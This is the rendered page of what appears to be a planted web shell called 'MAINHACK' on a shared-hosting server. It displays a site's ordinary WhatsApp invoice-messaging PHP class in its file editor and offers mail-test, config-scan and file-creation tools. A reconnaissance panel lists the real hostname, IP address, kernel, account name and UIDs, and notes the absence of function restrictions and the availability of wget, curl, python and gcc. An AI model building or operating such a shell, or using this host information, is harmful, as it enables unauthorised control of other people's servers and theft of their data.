[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: whatsapp.php
<?php /** * WhatsApp Integration Library * مكتبة إرسال رسائل واتساب */ class WhatsAppService { private $db; private $apiUrl; private $apiToken; public function __construct() { $this->db = Database::getInstance(); $this->loadSettings(); } private function loadSettings() { $sql = "SELECT setting_value FROM settings WHERE setting_key = ?"; $urlResult = $this->db->query($sql, ['whatsapp_api_url'])->fetch(); $tokenResult = $this->db->query($sql, ['whatsapp_api_token'])->fetch(); $this->apiUrl = $urlResult['setting_value'] ?? ''; $this->apiToken = $tokenResult['setting_value'] ?? ''; } public function isConfigured() { return !empty($this->apiUrl) && !empty($this->apiToken); } public function sendInvoiceMessage($customerName, $customerPhone, $invoiceAmount, $totalDebt) { $message = "تم إنشاء فاتورة جديدة بقيمة " . number_format($invoiceAmount, 2) . " جنيه للعميل " . $customerName . ". "; $message .= "إجمالي المديونية الحالية: " . number_format($totalDebt, 2) . " جنيه. "; $message .= "— حسابات عربية بن فريش"; return $this->sendMessage($customerPhone, $message); } public function sendPaymentMessage($customerName, $customerPhone, $paymentAmount, $previousDebt, $newDebt) { $message = "تم استلام سداد بقيمة " . number_format($paymentAmount, 2) . " جنيه من العميل " . $customerName . ". "; $message .= "المديونية السابقة: " . number_format($previousDebt, 2) . " جنيه، "; $message .= "المديونية الجديدة: " . number_format($newDebt, 2) . " جنيه. "; $message .= "— حسابات عربية بن فريش"; return $this->sendMessage($customerPhone, $message); } private function sendMessage($phone, $message) { if (!$this->isConfigured()) { error_log("WhatsApp API not configured"); return false; } $phone = $this->formatPhone($phone); $data = [ 'phone' => $phone, 'message' => $message ]; try { $ch = curl_init($this->apiUrl); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data)); curl_setopt($ch, CURLOPT_HTTPHEADER, [ 'Content-Type: application/json', 'Authorization: Bearer ' . $this->apiToken ]); $response = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($httpCode >= 200 && $httpCode < 300) { return true; } else { error_log("WhatsApp API error: HTTP $httpCode - Response: $response"); return false; } } catch (Exception $e) { error_log("WhatsApp send error: " . $e->getMessage()); return false; } } private function formatPhone($phone) { $phone = preg_replace('/[^0-9+]/', '', $phone); if (strpos($phone, '+') !== 0) { $phone = '+' . $phone; } return $phone; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.86 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285